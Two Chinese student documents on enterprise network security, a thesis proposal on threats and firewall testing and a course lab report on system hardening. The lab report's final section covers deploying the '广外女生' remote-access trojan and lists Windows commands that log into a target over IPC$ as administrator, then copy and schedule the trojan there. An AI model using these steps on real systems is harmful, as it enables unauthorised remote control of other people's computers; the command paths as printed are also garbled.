千文网小编为你整理了多篇相关的《企业网络信息安全防御研究开题报告(范文二篇)》，但愿对你工作学习有帮助，当然你在千文网还可以找到更多《企业网络信息安全防御研究开题报告(范文二篇)》。
第一篇：网络信息的安全与防范论文开题报告
网络信息的安全与防范
201103级 计算机科学与技术 金昌电大 王维晶
一、研究的背景及意义
网络是信息传输、接收、共享的虚拟平台，通过它把各个点、面、体的信息联系到一起，从而实现这些资源的共享。它是人们信息交流、使用的一个工具。随着计算机网络的出现和互联网的飞速发展，企业基于网络的计算机应用也在迅速增加，基于网络信息系统给企业的经营管理带来了更大的经济效益，但随之而来的安全问题也在困扰着用户。近几年，木马、蠕虫的传播使企业的信息安全状况进一步恶化。这都对企业信息安全提出了更高的要求。防火墙技术是近几年发展起来的一种保护计算机网络安全的技术性措施，它实际上是一种访问控制技术，在某个机构的网络和不安全的网络之间设置障碍，阻止对信息资源的非法访问，也可以使用它阻止保密信息从受保护网络上被非法输出。
二、研究方法
（一）针对网络安全的威胁进行归纳，威胁主要来源于以下几个方面：
1、网络黑客的攻击。黑客们使用各种工具入侵计算机系统，窃取重要信息或破坏网络的正常使用，严重的情况下，还可能会导致网络瘫痪。
2、网络病毒的入侵。计算机病毒自出现以来，增长速度惊人，所造成的损失也是不计其数，一旦感染病毒，轻者程序变慢，重者可能造成硬件损坏。此外，木马、流氓软件也对电脑构成了很大的威胁。
3、企业防范不到位。由于网络涉及企业生产经营的许多环节，整个网络要运行很多业务，因此不可避免地有会来自多方面的攻击。
4、信息传输中的隐患。信息在从源端到目的端传输过程中不可避免地要造成一定的信息损耗，或者可能被其他人窃取或修改，破坏了信息的完整性。
5、操作系统和网络协议自身的缺陷。操作系统本身就存在一定的漏洞，导致非法用户未经授权而获得访问权限或提高其访问权限。由于历史原因，有些网络协议在设计时就存在缺陷，比如我们常见的TCP/IP 协议簇，就没有解决好协议的安全问题。
6、内部攻击。由于对企业内部的防范不到位，企业内部员工有意的攻击或无意的误操作也是网络安全问题的隐患。
7、网络设备的威胁。
（二）应该了解网络安全，做好防范措施，做好网络信息的保密性、完整性和可用性。然后具体讲述网络防火墙安全技术的分类及其主要技术特征，防火墙部署原则，并从防火墙部署的位置详细阐述防火墙的选择标准。
1、防火墙测试方法分类
从产品测试的测试技术上分类，防火墙测试可分为两类,一类是从防火墙设计的角度着手的白盒测试，另一类是从防火墙使用的角度着手的黑盒测试。
（1）防火墙的白盒测试。以设计为主要观点的白盒测试，通常强调防火墙系统的整体设计。一个正式的防火墙产品首先应该经过全面的、详细的白盒测试，并且出具完整的测试报告。由于白盒测试要求评测人员必须对防火墙的设计原理及其实现细节有深入的了解，决定了该测试通常只能由生产防火墙的厂商进行这样的测试缺乏应有的透明性和公正性。
（2）防火墙的黑盒测试。以使用为主要观点的黑盒测试则不管防火墙内部系统设计只试图以使用者的角度从外部对防火墙进行攻击，测试防火墙是否能将非法闯入的测试数据包阻挡在外。黑盒测试不要求评测人员对防火墙的细节有深入的了解，只需确定测试的目的，将待测目标网络的信息资料收集齐全，再列出测试的清单，根据清单逐项测试即可。该测试可确认防火墙系统安装和配置的正确性，并侦测出防火墙是否能防御已知的安全漏洞是当前较为通用的手段。
2、现有的防火墙测试方法（1）实用方法
渗透测试是一种针对防火墙安全性的测试手段，它通过构造网络环境，以攻击者的身份对防火墙进行渗透并根据渗透的难易程度评价防火墙的安全性能。该方法是目前使用最广泛的一种防火墙测试方法。
（2）理论方法
提出了一种基于形式化模型的防火墙测试方法，该方法首先分别对防火墙系统的网络环境和安全需求进行建模，然后形式化验证该防火墙系统是否具有某些安全特性，并根据安全需求生成测试例后执行测试。
以上两种方法都属于脱机测试，是借助于静态信息进行的测试，在测试中并没有向实际的网络发送任何的数据包。由于是基于模型进行测试，而模型只是对真实情况的模拟不能完全反映真实情况。因此存在未考虑到测试中的一些关键因素的情况。
三、论文提纲
（一）绪论 引言
（二）分析当前网络安全形势 1.阐述网络安全的必要 2.网络的安全管理
（三）网络拓朴结构的安全设计 1.网络拓扑结构分析 2.网络攻击浅析
（四）采用硬软件防火墙进行网络信息安全防范 1.防火墙技术 2.数据加密技术 3.计算机病毒的防范
（五）总结
四、论文的写作计划
（一）2012年12月20日至2013年1月4日提交开题报告
（二）2013年1月5日至2013年3月5日提交论文初稿
（三）2013年3月6日至2013年3月20日提交论文定稿
（四）2013年3月21日至2013年4月8日提交论文终稿
五、主要参考文献
[1]谢希仁 计算机网络第五版 高等教育出版社 2002 [2]吴冲 计算机网络 清华大学出版2005 [3]程龙 马婷 企业网络安全解决方案[J] 科技风 2009 [4]石亦歌 企业网络安全解决方案[J] 安防科技 2003 [5]雷震甲 网络工程师教程 北京 清华大学出版社 2009
第二篇：企业网络网络信息安全报告
XX中型企业网安全 网络信息安全报告
一、实验目的及要求
该专周的目标是让学生掌握网络安全的基本框架，网络安全的基本理论。以及了解计算机网络安全方面的管理、配置和维护。
本课程要求在理论教学上以必需够用为原则，应尽量避免过深过繁的理论探讨，重在理解网络安全的基本框架，网络安全的基本理论。掌握数据加密、防火墙技术、入侵检测技术以及学习网络病毒防治。了解Windows 2000的安全、Web的安全、网络安全工程以及黑客常用的系统攻击方法。本课程要求学生对计算机的使用有一定了解（了解Windows的使用，具有键盘操作和文件处理的基础），并已经掌握计算机网络的基本原理。
二、专周内容
1、安全需求分析
（1）网络安全问题主要集中在对服务器的安全保护、防黑客和病毒、重要网段的保护及管理安全上。因此，我们必须采取相应的安全措施杜绝安全隐患，其中应该做到：
A、公开服务器的安全保护 B、防止黑客从外部攻击 C、入侵检测与监控 D、病毒防护 E、数据安全保护 F、网络的安全管理
（2）解决网络安全问题的一些要求
A、大幅度地提高系统的安全性（重点是可用性和可控性）；
B、保持网络原有的特点，即对网络的协议和传输具有良好的透明性，能透明接入，无需更改网络设置；
C、易于操作、维护，并便于自动化管理，而不增加或少增加附加操作；
D、尽量不影响原网络拓扑结构，同时便于系统及系统功能的扩展；
E、安全保密系统具有较好的性能价格比。一次性投资，可以长期使用；
F、安全产品具有合法性，及经过国家有关管理部门的认可或认证；
（3）系统安全目标
A、建立一套完整可行的网络安全与网络管理策略；
B、将内部网络、公开服务器网络和外网进行有效隔离，避免与外部网络直接通信；
C、建立网站各主机和服务器的安全保护措施，保证他们的系统安全；
D、加强合法用户的访问认证，同时将用户的访问权限控制在最低限度；
E、全面监视对公开服务器的访问，及时发现和拒绝不安全的操作和黑客攻击行为；
F、加强对各种访问的审计工作，详细记录对网络、公开服务器的访问行为，形成完整的系统日志；
2、网络拓扑
3、网络安全的基本内容
（1）基本网络命令
A、ping命令： ping –t IP，向指定的计算机不停的发送数据包，按Ctr+Break快捷键可以查看统计信息并继续运行，按 Ctr+C可中止运行。
B、Tracert命令：tracert IP 显示从本地计算机到目标服务器所经过的计算机：
C、pathping pop.pcpop.com 除了显示路由外，还提供325S的分析，计算丢失包的%
（2）操作系统安全
A、屏蔽不需要的服务组件
开始——程序——管理工具——服务 出现以下窗口：
然后在该对话框中选中需要屏蔽的程序，并单击右键，然后选择“停止”命令，同时将“启动类型”设置为“手动”或“已禁用”，这样就可以对指定的服务组进行屏蔽了。B、关闭默认共享：“开始”——“程序”——“管理工具”——“服务”——“Server”
（3）数据库系统安全
A、使用安全的帐号策略和Windows认证模式
由于SQL Server不能更改sa用户名称，也不能删除这个超级用户，所以，我们必须对这个帐号进行最强的保护，当然，包括使用一个非常强壮的密码，最好不要在数据库应用中使用sa帐号，只有当没有其它方法登录到 SQL Server 实例(例如，当其它系统管理员不可用或忘记了密码)时才使用 sa。可以新建立一个拥有与sa一样权限的超级用户来管理数据库。安全的帐号策略还包括不要让管理员权限的帐号泛滥。
SQL Server的认证模式有Windows身份认证和混合身份认证两种。在任何可能的时候，应该对指向SQL Server的连接要求Windows身份验证模式。
Windows认证模式比混合模式更优越，原因在以下：
1)它通过限制对Microsoft Windows用户和域用户帐户的连接，保护SQL Server免受大部分Internet工具的侵害。
2)服务器将从Windows安全增强机制中获益，例如更强的身份验证协议以及强制的密码复杂性和过期时间。
3)使用Windows认证，不需要将密码存放在连接字符串中。存储密码是使用标准SQL Server登录的应用程序的主要漏洞之一。
4)Windows认证意味着你只需要将密码存放在一个地方。
要在SQL Server的Enterprise Manager安装Windows身份验证模式，步骤操作： 展开服务器组——右键点击服务器——然后点击“属性”——在安全性选项卡的身份验证中——点击“仅限Windows”。（4）网络防火墙工具：红墙主机网络防火墙 安装
1.具体操作如下：
第一步： 将“爱思红墙主机网络防火墙”的安装光盘插入驱动器，运行根目录下的Setup文件来运行其安装程序，进入“爱思红墙主机网络防火墙安装”窗口；
第二步：
在“欢迎安装爱思红墙主机网络防火墙”对话框中，单击“下一步”按钮；
第三步： 在“软件许可协议”对话框，接受协议点击“是”；
第四步： 点击“是”按钮，出现显示您计算机的相关信息，即判断是否可以安装本软件；
第五步： 单击“下一步”按钮，出现“选择目标位置”对话框；
第六步： 在该对话框中，单击“浏览”按钮，并在“选择文件夹”对话框中选择盘符作为驱动器，再指定相应的文件夹及路径，然后单击“确定”按钮；
第七步： 单击“下一步”按钮，出现“选择安装程序名称”对话框，您可自定义程序名称；
第八步： 单击“下一步”按钮，系统开始复制文件；
第九步： 进入“红墙主机网络防火墙配置”窗口，作出是否运行“红墙应用程序扫描系统”的选择后，点击“完成”。
相关设置：告警设置：系统提供了两种情况下的告警，即需要系统告警和不需要系统告警，您可据需要选取告警设置。
点击主界面中的“规则管理”按钮，弹出相应窗口，如下图：
网络监控中心：
（5）网络攻击工具：“广外女生”
它的基本功能有：文件管理方面有上传，下载，删除，改名，设置属性，建立文件夹和运行指定文件等功能；注册表操作方面：全面模拟WINDOWS的注册表编辑器，让远程注册表编辑工作有如在本机上操作一样方便；屏幕控制方面：可以自定义图片的质量来减少传输的时间，在局域网或高网速的地方还可以全屏操作对方的鼠标及键盘，就像操纵自己的计算机一样；远程任务管理方面，可以直观地浏览对方窗体，随意杀掉对方窗体或其中的控件；其他功能还有邮件IP通知等。
主要步骤：首先运行“gwg.exe”，出现如图窗口：
选中“服务端设置”，生成“GDUFS.exe”木马：
然后将“GDUFS.exe”复制到自己的C盘中，再根据一些命令把“GDUFS.exe”复制到目标主机的盘中，再进行运行。目标主机的IP：191.168.12.38 具体步骤及命令：
“开始”——“运行”——“cmd”
命令：net use 191.168.12.38ipc$ 123 /user:administrator 与目标主机之间建立联系
命令：net time 191.168.12.38 获取目标主机的时间
命令：at 191.168.12.38 08:21 net share c$=c: 与目标主机的C盘建立通道
命令：copy c:GDUFS.exe 191.168.12.38c$ 复制“GDUFS.exe”文件到目标主机的C盘中：
命令：191.168.12.38 10:49 c:GDUFS.exe 指定“GDUFS.exe”在目标主机中什么时候运行。
三、专周小结：
通过这次网络安全专周，我不仅仅是学到了很多知识，更是透彻的理解到了网络安全对生活已经将来工作的意义。
网络安全分为软件网络安全和硬件网络安全。一般我们说的网络安全就是软件上的网络安全，即局域网，互联网安全。
网络安全又分为内网安全和外网安全。在内外网安全中，内网安全则是重中之重。毕竟是家贼难防。据不完全统计，全国因为内网安全的问题，至少每年算是几亿美元。所以，网络安全特别重要。
至于在将来的工作中，我们也要严格尊市网络设备管理原则和使用秩序，对设备进行统一管理专人负责，严格要求自己对设备进行安全操作，保持强烈的责任感和服务意识，做好每一个细节，重点做好以下几项工作：
1，及时准确判断网络故障，做好上门维护工作或及时提醒网络合作商进行维护。
2，定期检查维护各网络设备的运行情况并进行维护。3，不定期对服务器进行更新和检查。
4，遇到特殊情况，及时向领导和老师汇报，努力提高应急处理问题和独立处理问题的能力。
感谢老师对我们的教导。
推荐专题： 课题研究开题报告 企业网络信息安全防御研究开题报告